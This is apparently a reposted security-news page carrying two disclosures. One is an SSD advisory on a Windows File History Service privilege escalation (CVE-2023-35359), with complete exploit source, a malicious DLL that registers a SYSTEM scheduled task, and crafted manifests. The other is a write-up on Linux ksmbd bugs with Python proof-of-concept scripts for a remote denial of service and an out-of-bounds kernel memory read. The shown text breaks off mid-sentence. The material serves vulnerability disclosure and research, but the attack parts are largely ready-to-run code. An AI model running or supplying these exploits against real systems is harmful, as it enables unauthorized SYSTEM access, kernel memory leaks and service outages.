31 Srp

SSD Advisory – File History Service (fhsvc.dll) Elevation of Privilege

Summary

A vulnerability in Windows’s File History Service allows local users to gain elevated privileges on the Windows operating system.

Credit

An independent security researcher working with SSD Secure Disclosure, the vulnerability was one of the winners of TyphoonCon’s TyphoonPWN 2023 – in the category of Windows PE.

CVE

CVE-2023-35359

Vendor Response

The vendor has issued a fix for the vulnerability available at: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-35359

Technical Analysis

A vulnerability exists in the file history service, which runs as system privileges, and can be exploited to elevate from ordinary users to system privileges.

The file history service can be started by ordinary users. When the service is started, When the service starts, the core file fhsvc.dll will be loaded, and then the vulnerable function CManagerThread::QueueBackupForLoggedOnUser will be hit. When this function is executed, it will simulate the currently logged-in user and load fhcfg.dll. This behaviour is also the root cause of this vulnerability.

When fhcfg.dll is loaded, the thread will run as the current normal user. The resource of fhcfg.dll contains manifest attributes. Once the DLL is loaded, csrss.exe will create a default activation context, according to the dependencies in the manifest file, to automatically load the required assemblies, because the thread of the file history service is in the impersonation state, so csrss.exe will also impersonate the identity of a normal user to access the manifest file.

When a normal user modifies DosDevices and adds a symbolic link of C: pointing to a fake directory (such as C:\Users\Public\test), then csrss.exe will look for c: as C:\Users\Public\test manifest file.

After setting the symbolic link, csrss.exe will look for C:\Users\Public\test\Windows\WinSxS\Manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.22621.1635_none_270f70857386168e according to the list content of fhcfg.dll.manifest manifest file (The file name will vary depending on the operating system environment).

If we directly write our fake DLL path in the fake manifest, then we still can’t exploit, because the loaded dll will be from C:\Windows\WinSxS\Manifestsm, which is not a directory we can control, so we need a second manifest , and change the file attribute of the first list to file name=..\..\..\..\..\..\test\test.

When the file attribute of the fake list content is file name=..\..\..\..\..\..\test\test, csrss.exe will continue to search for the second command list C:\Users\ Public\test\test\test.manifest.

In order to exploit this vulnerability, it is also necessary to add a DLL name that the service process loads after the activation context ends in the second fake list test.manifest.

It was found that when the file history service is about to exit (the file history service runs for 30 seconds by default), it will load msasn1.dll, obviously msasn1.dll is very suitable for exploiting.

If we construct a false manifest test.manifest and add a DLL named msasn1.dll as a dependency, when the file history service loads msasn1.dll after the activation context is generated, it will try to open C:\test\msasn1.dll, and also It is the msasn1.dll we constructed.

Since the file history service does not have the SeIncreaseQuotaPrivilege privilege, we cannot directly pop up the cmd window that can be displayed, but the service has the SeImpersonatePrivilege privilege. If we add a scheduled task and specify an exe to start, it will start with the default privilege of the system account.

We have done all of this in exp, including the aftermath and you should be able to test-run interactively, provided you wait 30 seconds.

To test the vulnerability, you need to put the exe and msasn1.dll and test.manifest, manifest.manifest in the same directory, and then execute the exe.

Successful result: after waiting for 30 seconds, system cmd pops up:

Failure result: cmd does not pop up, you should check whether the file history service is disabled, if the service is disabled, this vulnerability cannot be exploited (the service is enabled by default).

Proof of Concept

exp.cpp

#include <stdio.h>
#include <windows.h>
#include <iostream>
#include <strsafe.h>
#include <userenv.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "Userenv.lib")
#pragma warning(disable:4996) wchar_t FakeFileName1[MAX_PATH] = { 0 };
wchar_t FakeFileName2[MAX_PATH] = { 0 };
wchar_t manifestFileName[MAX_PATH] = { 0 }; HANDLE SymlinkHandle;
wchar_t buffer[MAX_PATH] = { 0 }; #define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) extern "C" int NTAPI NtCreateSymbolicLinkObject(OUT PHANDLE SymbolicLinkHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PUNICODE_STRING TargetName); HANDLE nCreateSymbolicLink() { HANDLE SymbolicLinkHandle = NULL; UNICODE_STRING TargetObjectName = { 0 }; OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; UNICODE_STRING SymbolicLinkObjectName = { 0 }; WCHAR path[MAX_PATH]{0}; WCHAR path2[MAX_PATH]{ 0 }; wcscat(path, L"\\??\\"); wcscat(path, buffer); wcscat(path2, L"\\GLOBAL??\\"); wcscat(path2, buffer); wcscat(path2, L"\\Users\\Public\\test"); RtlInitUnicodeString(&SymbolicLinkObjectName, path); RtlInitUnicodeString(&TargetObjectName, path2); InitializeObjectAttributes(&ObjectAttributes, &SymbolicLinkObjectName, OBJ_CASE_INSENSITIVE, NULL, NULL); int NtStatus = NtCreateSymbolicLinkObject(&SymbolicLinkHandle, SYMBOLIC_LINK_ALL_ACCESS, &ObjectAttributes, &TargetObjectName); if (NtStatus != 0) { printf("[-] Failed to open object directory: 0x%X\n", NtStatus); } return SymbolicLinkHandle;
}
VOID exit_();
void RunCMD()
{ HANDLE ProcessHandle = NULL; HANDLE CurrentToken = NULL; HANDLE TokenDup = NULL; ProcessHandle = GetCurrentProcess(); if (!OpenProcessToken(ProcessHandle, TOKEN_ALL_ACCESS, &CurrentToken)) { return; } if (!DuplicateTokenEx(CurrentToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &TokenDup)) { return; } DWORD dwSessionID = 1; if (!SetTokenInformation(TokenDup, TokenSessionId, &dwSessionID, sizeof(DWORD))) { return; } STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(STARTUPINFO)); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); si.cb = sizeof(STARTUPINFO); si.lpDesktop = (LPWSTR)L"WinSta0\\Default"; LPVOID pEnv = NULL; DWORD dwCreationFlags = NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT; if (!CreateEnvironmentBlock(&pEnv, TokenDup, FALSE)) { return; } wchar_t cmdpath[MAX_PATH] = { 0 }; wchar_t WinPath[MAX_PATH] = { 0 }; if (!GetEnvironmentVariableW(L"SYSTEMROOT", WinPath, MAX_PATH)) { return; } wcscat(cmdpath, WinPath); wcscat(cmdpath, L"\\system32\\cmd.exe"); if (!CreateProcessAsUserW(TokenDup, cmdpath, (LPWSTR)L" /k cd ..\\..\\..\\..", NULL, NULL, FALSE, dwCreationFlags, pEnv, NULL, &si, &pi)) { return; }
} void TraverseDirectory(wchar_t Dir[MAX_PATH])
{ WIN32_FIND_DATA FindFileData; HANDLE hFind = INVALID_HANDLE_VALUE; wchar_t DirSpec[MAX_PATH]{0}; DWORD dwError; StringCchCopy(DirSpec, MAX_PATH, Dir); StringCchCat(DirSpec, MAX_PATH, TEXT("\\*")); hFind = FindFirstFile(DirSpec, &FindFileData); if (hFind == INVALID_HANDLE_VALUE) { FindClose(hFind); } else { while (FindNextFile(hFind, &FindFileData) != 0) { if ((FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0 && wcscmp(FindFileData.cFileName, L".") == 0 || wcscmp(FindFileData.cFileName, L"..") == 0) { continue; } if ((FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0) { wchar_t DirAdd[MAX_PATH]{0}; StringCchCopy(DirAdd, MAX_PATH, Dir); StringCchCat(DirAdd, MAX_PATH, TEXT("\\")); StringCchCat(DirAdd, MAX_PATH, FindFileData.cFileName); TraverseDirectory(DirAdd); RemoveDirectoryW(DirAdd); } else { WCHAR path[1000] = { 0 }; wcscpy(path, Dir); wcscat(path, L"\\"); wcscat(path, FindFileData.cFileName); DeleteFile(path); } } FindClose(hFind); } return;
} BOOL findfile(wchar_t Dir[MAX_PATH])
{ WIN32_FIND_DATA FindFileData; HANDLE hFind = INVALID_HANDLE_VALUE; wchar_t DirSpec[MAX_PATH]{0}; DWORD dwError; StringCchCopy(DirSpec, MAX_PATH, Dir); StringCchCat(DirSpec, MAX_PATH, TEXT("\\*")); hFind = FindFirstFile(DirSpec, &FindFileData); if (hFind == INVALID_HANDLE_VALUE) { FindClose(hFind); } else { while (FindNextFile(hFind, &FindFileData) != 0) { if ((FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0 && wcscmp(FindFileData.cFileName, L".") == 0 || wcscmp(FindFileData.cFileName, L"..") == 0) { continue; } if ((FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0) { continue; } if ((wcsstr(FindFileData.cFileName,L"amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0."))) { wcscat(manifestFileName, FindFileData.cFileName); return TRUE; } } FindClose(hFind); } return NULL;
} VOID CreatetestFile() { wchar_t FakeFileName3[MAX_PATH]{ 0 }; wchar_t FakeFileName4[MAX_PATH]{ 0 }; wchar_t FakeFileName5[MAX_PATH]{ 0 }; wchar_t FakeFileName6[MAX_PATH]{ 0 }; wchar_t FakeFileName7[MAX_PATH]{ 0 }; if (!GetEnvironmentVariableW(L"SYSTEMDRIVE", buffer, MAX_PATH)) { printf("[-] GetEnvironmentVariableW SYSTEMDRIVE Error\n"); exit(-1); } printf("[+] GetEnvironmentVariableW SYSTEMDRIVE ok\n"); wcscat(FakeFileName1, buffer); wcscat(FakeFileName1, L"\\Users\\Public\\test"); wcscat(FakeFileName2, buffer); wcscat(FakeFileName2, L"\\test"); TraverseDirectory(FakeFileName1); RemoveDirectoryW(FakeFileName1); TraverseDirectory(FakeFileName2); RemoveDirectoryW(FakeFileName2); int ret = CreateDirectoryW(FakeFileName2, 0); if (!ret) { printf("[-] CreateDirectoryW %S\n", FakeFileName2); exit_(); } printf("[+] CreateDirectoryW %S ok\n", FakeFileName2); ret = CreateDirectoryW(FakeFileName1, 0); if (!ret) { printf("[-] CreateDirectoryW %S\n", FakeFileName1); exit_(); } printf("[+] CreateDirectoryW %S ok\n", FakeFileName1); wcscat(FakeFileName3, FakeFileName1); wcscat(FakeFileName3, L"\\Windows"); ret = CreateDirectoryW(FakeFileName3, 0); if (!ret) { printf("[-] CreateDirectoryW %S\n", FakeFileName3); exit_(); } printf("[+] CreateDirectoryW %S ok\n", FakeFileName3); wcscat(FakeFileName3, L"\\System32"); ret = CreateDirectoryW(FakeFileName3, 0); if (!ret) { printf("[-] CreateDirectoryW %S\n", FakeFileName3); exit_(); } printf("[+] CreateDirectoryW %S ok\n", FakeFileName3); wcscat(FakeFileName3, L"\\fhcfg.dll"); HANDLE hFILE3 = CreateFileW(FakeFileName3, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFILE3 == INVALID_HANDLE_VALUE) { printf("[-] CreateFileW %S\n", FakeFileName3); exit_(); } printf("[+] CreateFileW %S ok\n", FakeFileName3); CloseHandle(hFILE3); wcscat(FakeFileName4, FakeFileName1); WCHAR szModule[MAX_PATH]{0}; GetModuleFileNameW(NULL, szModule, MAX_PATH); wcscat(FakeFileName4, L"\\test.exe"); ret = CopyFileW(szModule, FakeFileName4, FALSE); if (!ret) { printf("[-] CopyFileW %S\n", FakeFileName4); exit_(); } printf("[+] CopyFileW ok %S\n", FakeFileName4); wcscat(FakeFileName5, FakeFileName1); wcscat(FakeFileName5, L"\\test"); ret = CreateDirectoryW(FakeFileName5, 0); if (!ret) { printf("[-] CreateDirectoryW %S\n", FakeFileName5); exit_(); } printf("[+] CreateDirectoryW %S ok\n", FakeFileName5); wcscat(FakeFileName5, L"\\test.manifest"); ret = CopyFileW(L"test.manifest", FakeFileName5, FALSE); if (!ret) { printf("[-] CopyFileW %S\n", FakeFileName5); exit_(); } printf("[+] CopyFileW ok %S\n", FakeFileName5); wcscat(FakeFileName6, buffer); wcscat(FakeFileName6, L"\\Windows\\WinSxS\\Manifests"); if (!findfile(FakeFileName6)) { printf("[-] findfile %S\n", FakeFileName6); exit_(); } printf("[+] findfile %S ok\n", FakeFileName6); memset(FakeFileName6, 0, MAX_PATH * 2); wcscat(FakeFileName6, FakeFileName1); wcscat(FakeFileName6, L"\\Windows\\WinSxS"); ret = CreateDirectoryW(FakeFileName6, 0); if (!ret) { printf("[-] CreateDirectoryW %S\n", FakeFileName6); exit_(); } printf("[+] CreateDirectoryW %S ok\n", FakeFileName6); wcscat(FakeFileName6, L"\\Manifests"); ret = CreateDirectoryW(FakeFileName6, 0); if (!ret) { printf("[-] CreateDirectoryW %S\n", FakeFileName6); exit_(); } printf("[+] CreateDirectoryW %S ok\n", FakeFileName6); wcscat(FakeFileName6, L"\\"); wcscat(FakeFileName6, manifestFileName); ret = CopyFileW(L"manifest.manifest", FakeFileName6, FALSE); if (!ret) { printf("[-] CopyFileW %S\n", FakeFileName6); exit_(); } printf("[+] CopyFileW ok %S\n", FakeFileName6); wcscat(FakeFileName7, FakeFileName2); wcscat(FakeFileName7, L"\\msasn1.dll"); ret = CopyFileW(L"msasn1.dll", FakeFileName7, FALSE); if (!ret) { printf("[-] CopyFileW %S\n", FakeFileName7); exit_(); } printf("[+] CopyFileW ok %S\n", FakeFileName7);
} VOID exit_() { CloseHandle(SymlinkHandle); TraverseDirectory(FakeFileName1); RemoveDirectoryW(FakeFileName1); TraverseDirectory(FakeFileName2); RemoveDirectoryW(FakeFileName2); exit(-1);
} VOID th() { Sleep(40000); printf("[-] Time exceeded, exploit failed"); exit_();
}
int main(int argc, char** argv)
{ HANDLE handle = OpenEventW(MAXIMUM_ALLOWED, 0, L"Global\\TyphoonPWN"); if (handle) { RunCMD(); system("\"schtasks \/delete \/tn \\Test1 \/f\""); CreateFileW(L"\\\\.\\Pipe\\TyphoonPWN", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); exit(-1); } else { CreatetestFile(); SymlinkHandle = nCreateSymbolicLink(); if (SymlinkHandle == INVALID_HANDLE_VALUE) { printf("[!] CreateSymbolicLink error %d\n", GetLastError()); return 1; } printf("[+] CreateSymbolicLink ok \n"); CreateEventW(0, 0, 0, L"Global\\TyphoonPWN"); SC_HANDLE scmHandle = OpenSCManager(NULL, NULL, MAXIMUM_ALLOWED); if (!scmHandle) { printf("[-] Failed to open SCM: %d\n", GetLastError()); exit_(); } printf("[+] OpenSCManager ok\n"); SC_HANDLE serviceHandle = OpenServiceW(scmHandle, L"fhsvc", MAXIMUM_ALLOWED); if (!serviceHandle) { printf("[-] Failed to open service: %d\n", GetLastError()); exit_(); } printf("[+] OpenServiceW ok\n"); if (!StartService(serviceHandle, 0, NULL)) { printf("[-] Failed to start service: %d\n", GetLastError()); exit_(); } printf("[+] StartService ok\n"); Sleep(3000); CloseHandle(SymlinkHandle); HANDLE hPipe = CreateNamedPipe(L"\\\\.\\Pipe\\TyphoonPWN", PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT , PIPE_UNLIMITED_INSTANCES, 0, 0, NMPWAIT_WAIT_FOREVER, 0); if (hPipe) { printf("[+] CreateNamedPipe\n"); } else { printf("[-] CreateNamedPipe error %x\n", GetLastError()); exit_(); } CreateThread(0, 0, (LPTHREAD_START_ROUTINE)th, 0, 0, 0); printf("[!] Wait for the exploit to succeed .......\n"); if (ConnectNamedPipe(hPipe, NULL) != NULL) { printf("[+] The exploit was successful\n"); Sleep(100); exit_(); } } return 0;
}

msasn1dll.cpp

#include"pch.h"
#include <stdio.h>
#include <windows.h>
#include <iostream>
#include <strsafe.h>
#include <userenv.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "Userenv.lib")
#pragma warning(disable:4996) BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved
)
{ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: char cmd[1000] = { 0 }; strcat(cmd, "\"schtasks \/create \/sc minute \/mo 20 \/tn \"Test1\" \/tr "); char output[256]; WCHAR buffer[256]; if (!GetEnvironmentVariableW(L"SYSTEMDRIVE", buffer, MAX_PATH)) { exit(-1); } wcscat(buffer, L"\\Users\\Public\\test\\test.exe"); sprintf(output, "%ws", buffer); strcat(cmd, output); strcat(cmd, " \/ru SYSTEM \/RL HIGHEST\""); system(cmd); system("\"schtasks \/run \/tn \\Test1\""); exit(-1); break; } return TRUE; }

test.manifest

<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <assemblyIdentity name='..\..\..\..\..\..\test\test' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' type='win32'/> <file name='msasn1.dll'/>
</assembly>

manifest.manifest

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" copyright="Copyright (c) Microsoft Corporation. All Rights Reserved." xmlns:cmiv2="urn:schemas-microsoft-com:asm.v3" cmiv2:copyright="Copyright (c) Microsoft Corporation. All Rights Reserved."> <noInheritable /> <dependency optional="yes" cmiv2:discoverable="no"> <dependentAssembly> <assemblyIdentity name="..\..\..\..\..\..\test\test" version="6.0.0.0" processorArchitecture="amd64" language="*" publicKeyToken="6595b64144ccf1df" type="win32" /> </dependentAssembly> </dependency>
</assembly>

The post SSD Advisory – File History Service (fhsvc.dll) Elevation of Privilege appeared first on SSD Secure Disclosure.

a href=“https://ssd-disclosure.com/ssd-advisory-file-history-service-fhsvc-dll-elevation-of-privilege/“>Source / Zdroj

04 Srp

Unleashing ksmbd: crafting remote exploits of the Linux kernel

December 22nd 2022: it's Christmas Thursday, one of the last workdays before the Christmas vacation starts. Whilst everyone was looking forward to opening presents from friends and family, the Zero Day Initiative decided to give the IT community a present as well: immense stress in the form of ZDI-22-1690, an unauthenticated RCE vulnerability in the Linux kernel's ksmbd subsystem.

This vulnerability showed me the way to a buggy subsystem of the Linux kernel: ksmbd. Ksmbd stands for Kernel SMB Daemon which acts as an SMB server (which you may recognize from Windows) in the kernel. SMB is known in the community for the unnecessary complexity and it's resulting vulnerabilities. Imagine the reaction of the Linux developer community when ksmbd was being introduced in the kernel.

I wanted to learn more about SMB and the ksmbd subsystem so I decided to do vulnerability research in this subsystem, with results. In this write-up I will present the exploits and technical analyses behind ZDI-23-979 and ZDI-23-980: network-based unauthenticated Denial-of-Service and network-based (un)authenticated Out-of-Bounds read 64KiB.

An overview of SMB

Server Message Block is a file transfer protocol widely used by Windows OS where it can be used to access a NAS or another computer over a network. The most important features of SMB are file reads and writes, accessing directory information and doing authentication. Since the Windows OS tries to integrate SMB, SMB also has many ways of doing authentication for the Windows ecosystem: NTLMSSP, Kerberos 5, Microsoft Kerberos 5, and Kerberos 5 user-to-user (U2U). Ofcourse, the kernel also supports normal authentication like regular passwords.

To prevent extensive resource usage (like disk storage and RAM), SMB has a credit system where each command subtracts credits from the session. If the credits reach 0, the session cannot issue more commands.

N.B. A packet, request and command are different things. The same goes for a session and a connection.

An overview of the definitions of an chained SMB request packet.
An overview of the definitions of an SMB session and connection.

ZDI-23-979: NULL Pointer Dereference Denial-of-Service

ZDI-23-979 is an network-based unauthenticated NULL pointer dereference vulnerability resulting from a logic bug in the session handling of chained SMB request packets. The ksmbd subsystem only handles the session for the first request in the packet, which makes a second request in the packet use the same session instance as well. However, when the first request does not use a session, the second request does consequently not use a session either, even when it is required.

This could hypothetically result in an auth bypass since it skips the session/auth checks, but instead leads to an NULL pointer dereference since it tries to access properties of the request session.

Let's dive in the function __handle_ksmbd_workof v6.3.9, the last vulnerable kernel release. This function gets called for every packet from a connection. As you can see, the function does call __process_request for every request in the packet, but only checks the session for the first request in the packet using conn->ops->check_user_session(work) (explanation below).

static void __handle_ksmbd_work(struct ksmbd_work *work, struct ksmbd_conn *conn)
{ u16 command = 0; int rc; // [snip] (initialize buffers) if (conn->ops->check_user_session) { rc = conn->ops->check_user_session(work); // if rc != 0 goto send (auth failed) if (rc < 0) { command = conn->ops->get_cmd_val(work); conn->ops->set_rsp_status(work, STATUS_USER_SESSION_DELETED); goto send; } else if (rc > 0) { rc = conn->ops->get_ksmbd_tcon(work); if (rc < 0) { conn->ops->set_rsp_status(work, STATUS_NETWORK_NAME_DELETED); goto send; } } } do { rc = __process_request(work, conn, &command); if (rc == SERVER_HANDLER_ABORT) break; // [snip] (set SMB credits) } while (is_chained_smb2_message(work)); if (work->send_no_response) return; send: // [snip] (send response)
}

__handle_ksmbd_work – session handling and request processing per packet.

The function conn->ops->check_user_session(work) checks if the pending request requires a session, and if it does it will check req_hdr->SessionId for existing sessions whereby req_hdr->SessionId is randomly generated during SMB login. If the session check succeeds, then work->sess = ksmbd_session_lookup_all(conn, sess_id) or if the request does not require a session, then work->sess = NULL.

int smb2_check_user_session(struct ksmbd_work *work)
{ struct smb2_hdr *req_hdr = smb2_get_msg(work->request_buf); struct ksmbd_conn *conn = work->conn; unsigned int cmd = conn->ops->get_cmd_val(work); unsigned long long sess_id; /* * SMB2_ECHO, SMB2_NEGOTIATE, SMB2_SESSION_SETUP command do not * require a session id, so no need to validate user session's for * these commands. */ if (cmd == SMB2_ECHO_HE || cmd == SMB2_NEGOTIATE_HE || cmd == SMB2_SESSION_SETUP_HE) return 0; // [snip] (check conn quality) sess_id = le64_to_cpu(req_hdr->SessionId); // [snip] (chained request logic that was unused) /* Check for validity of user session */ work->sess = ksmbd_session_lookup_all(conn, sess_id); if (work->sess) return 1; // [snip] (invalid session handling)
}

smb2_check_user_session – codeblock of SMB validation checks.

Obviously, when the first command is i.e. SMB2_ECHO_HE and the second command is i.e. SMB2_WRITE, the work->sess variable will be NULL in smb2_write(). This will cause a dereference like work->sess->x and hence a NULL pointer derefence. Since NULL pointer dereferences panic the kernel thread, the SMB server will be taken offline while the rest of the kernel remains online. The proof-of-concept exploit for this vulnerability is as follows:

#!/usr/bin/env python3 from impacket import smb3, nmb
from pwn import p64, p32, p16, p8 def main(): print("[*] connecting to SMB server (no login)...") try: conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445, timeout=3) except nmb.NetBIOSTimeout: print("[!] SMB server is already offline (connection timeout)") return # generate innocent SMB_ECHO request request_echo = smb3.SMB3Packet() request_echo['Command'] = smb3.SMB2_ECHO request_echo["Data"] = p16(4) + p16(0) request_echo["NextCommand"] = 64+4 # set NextCommand to indicate request chaining # generate innocent SMB_WRITE request request_write = smb3.SMB3Packet() request_write['Command'] = smb3.SMB2_WRITE request_write["Data"] = p16(49) + p16(0) + p32(0) + p64(0) + p64(0) + p64(0) + p32(0) + p32(0) + p16(0) + p16(0) + p32(0) + p8(0) request_write["TreeID"] = 0 # chain SMB_WRITE to SMB_ECHO request_echo["Data"] += request_write.getData() print('[*] sending DoS packet...') conn.sendSMB(request_echo) print("[*] probing server health...") try: smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445, timeout=3) print("[!] exploit failed - server remains online") except nmb.NetBIOSTimeout: print("[+] exploit succeeded - server is now offline") if __name__ == "__main__": main()

Proof-of-Concept (PoC) exploit for ZDI-23-979 written in Python code. 

The most important part of the patch is moving the session check into the chained request loop, which results into the session check being executed for each chained request in the packet, instead of just the first one.

+++ b/fs/ksmbd/server.c
@@ -184,24 +184,31 @@ static void __handle_ksmbd_work(struct k goto send; } -	if (conn->ops->check_user_session) {
- rc = conn->ops->check_user_session(work);
- if (rc < 0) {
- command = conn->ops->get_cmd_val(work);
- conn->ops->set_rsp_status(work,
- STATUS_USER_SESSION_DELETED);
- goto send;
- } else if (rc > 0) {
- rc = conn->ops->get_ksmbd_tcon(work);
+	do {
+ if (conn->ops->check_user_session) {
+ rc = conn->ops->check_user_session(work); if (rc < 0) {
- conn->ops->set_rsp_status(work,
- STATUS_NETWORK_NAME_DELETED);
+ if (rc == -EINVAL)
+ conn->ops->set_rsp_status(work,
+ STATUS_INVALID_PARAMETER);
+ else
+ conn->ops->set_rsp_status(work,
+ STATUS_USER_SESSION_DELETED); goto send;
+ } else if (rc > 0) {
+ rc = conn->ops->get_ksmbd_tcon(work);
+ if (rc < 0) {
+ if (rc == -EINVAL)
+ conn->ops->set_rsp_status(work,
+ STATUS_INVALID_PARAMETER);
+ else
+ conn->ops->set_rsp_status(work,
+ STATUS_NETWORK_NAME_DELETED);
+ goto send;
+ } } }
-	} -	do { rc = __process_request(work, conn, &command); if (rc == SERVER_HANDLER_ABORT) break;
--- a/fs/ksmbd/smb2pdu.c

The official patch for ZDI-23-979.

ZDI-23-980: Out-Of-Bounds Read Information Disclosure

ZDI-23-980 is a network-based (un)authenticated out-of-bounds read in the ksmbd subsystem of the Linux kernel, which allows a user to read up to 65536 consequent bytes from kernel memory. This issue results from an buffer over-read, much like the Heartbleed vulnerability in SSL, where the request packet states that the packet content is larger than it's actual size, resulting in the parsing of the packet with a fake size.

This can be exploited by issueing an SMB_WRITE request with size N to file "dump.bin", whereby the actual request empty is smaller than N. Then, issue an SMB_READ request to download the "dump.bin" file and eventually delete "dump.bin" to remove the exploitation traces.

When I was researching this vulnerability, I also found an unauthenticated OOB read of 2 bytes using SMB_ECHO, but I figured this was less important than the authenticated OOB read of 65536 bytes due to usability (whether or not this was the right decision is up to debate 😉 ). Hence, the CVE description says it's authenticated. I will also discuss the SMB_ECHO and explain the exploitation behind that path. The 2-byte OOB read consists of issue'ing an SMB_ECHO command with the last 2 bytes of the packet not being filled in.

The underlying issue

The underlying issue leading to the OOB read is improper validation of the SMB request packet parameter smb2_hdr.NextCommand containing the offset to the next command. When NextCommand is set, the SMB server assumes that the current command/request is the size of NextCommand. Hence, when I have a packet of size N, I can set NextCommand to N+2, and it will assume the packet is N+2 bytes long. This can be seen in action in the ksmbd_smb2_check_message and smb2_calc_size functions. The function ksmbd_smb2_check_message does several assertions/validations:

hdr->StructureSize == 64
pdu->StructureSize2 == smb2_req_struct_sizes[command] // SMB2_WRITE: 49, SMB2_ECHO: 4
hdr->NextCommand == pdu->StructureSize2 + hdr->StructureSize // SMB_ECHO
hdr->NextCommand == hdr->DataOffset + hdr->Length // SMB_WRITE

The assertions put onto the packet, for validation.

But it does not assert work->next_smb2_rcv_hdr_off + hdr->NextCommand <= get_rfc1002_len(work->request_buf), which is the official patch.

static int smb2_get_data_area_len(unsigned int *off, unsigned int *len, struct smb2_hdr *hdr)
{ int ret = 0; *off = 0; *len = 0; switch (hdr->Command) { // [snip] not reached case SMB2_WRITE: if (((struct smb2_write_req *)hdr)->DataOffset || ((struct smb2_write_req *)hdr)->Length) { *off = max_t(unsigned int, le16_to_cpu(((struct smb2_write_req *)hdr)->DataOffset), offsetof(struct smb2_write_req, Buffer)); *len = le32_to_cpu(((struct smb2_write_req *)hdr)->Length); break; } *off = le16_to_cpu(((struct smb2_write_req *)hdr)->WriteChannelInfoOffset); *len = le16_to_cpu(((struct smb2_write_req *)hdr)->WriteChannelInfoLength); break; // [snip] not reached default: // [snip] not reached } // [snip] return error if offset > 4096 return ret;
} static int smb2_calc_size(void *buf, unsigned int *len)
{ struct smb2_pdu *pdu = (struct smb2_pdu *)buf; struct smb2_hdr *hdr = &pdu->hdr; unsigned int offset; /* the offset from the beginning of SMB to data area */ unsigned int data_length; /* the length of the variable length data area */ int ret; *len = le16_to_cpu(hdr->StructureSize); *len += le16_to_cpu(pdu->StructureSize2); if (has_smb2_data_area[le16_to_cpu(hdr->Command)] == false) { // SMB_ECHO will reach this goto calc_size_exit; } // SMB_WRITE will reach this ret = smb2_get_data_area_len(&offset, &data_length, hdr); // [snip] return error if ret < 0 if (data_length > 0) { // [snip] return error when data overlaps with next cmd *len = offset + data_length; } calc_size_exit: ksmbd_debug(SMB, "SMB2 len %u\n", *len); return 0;
} int ksmbd_smb2_check_message(struct ksmbd_work *work)
{ struct smb2_pdu *pdu = ksmbd_req_buf_next(work); struct smb2_hdr *hdr = &pdu->hdr; int command; __u32 clc_len; /* calculated length */ __u32 len = get_rfc1002_len(work->request_buf); if (le32_to_cpu(hdr->NextCommand) > 0) len = le32_to_cpu(hdr->NextCommand); else if (work->next_smb2_rcv_hdr_off) len -= work->next_smb2_rcv_hdr_off; // [snip] check flag in header if (hdr->StructureSize != SMB2_HEADER_STRUCTURE_SIZE) { // [snip] return error } command = le16_to_cpu(hdr->Command); // [snip] check if command is valid if (smb2_req_struct_sizes[command] != pdu->StructureSize2) { // [snip] return error (with exceptions) } if (smb2_calc_size(hdr, &clc_len)) { // [snip] return error (with exceptions) } if (len != clc_len) { // [snip] return error (with exceptions) } validate_credit: // [snip] irrelevant credit check return 0;
}

The functions causing the vulnerability.

As you can see, for SMB_WRITE we can set an arbitrary packet size by setting hdr->Length and hdr->NextCommand variables to compliment each other. As per SMB_ECHO, we just need to set hdr->NextCommand to the expected value, without actually filling in smb2_echo_req->reserved:

struct smb2_echo_req { struct smb2_hdr hdr; __le16 StructureSize;	/* Must be 4 */ __u16 Reserved;
} __packed;

The smb2_echo_req struct.

Exploitation

To leak 2 bytes using SMB_ECHO:

  1. Set smb2_echo_req->StructureSize = p16(4)
  2. Set smb2_echo_req->hdr.NextCommand = sizeof(smb2_echo_req->hdr) + smb2_echo_req->StructureSize
  3. Send request
  4. Read echo response, with the last 2 bytes being an OOB read.
#!/usr/bin/env python3 from impacket import smb3
from pwn import p64, p32, p16, p8 def main(): print("[*] connecting to SMB server...") conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445) packet = smb3.SMB3Packet() packet['Command'] = smb3.SMB2_ECHO packet["Data"] = p16(0x4) packet["NextCommand"] = 64+4 print("[*] sending OOB read...") conn.sendSMB(packet) print("[*] reading response...") rsp = conn.recvSMB().rawData print(rsp) if __name__ == "__main__": main()

ZDI-23-980 PoC exploit using SMB_ECHO

For the SMB_WRITE path, here's the struct and the steps:

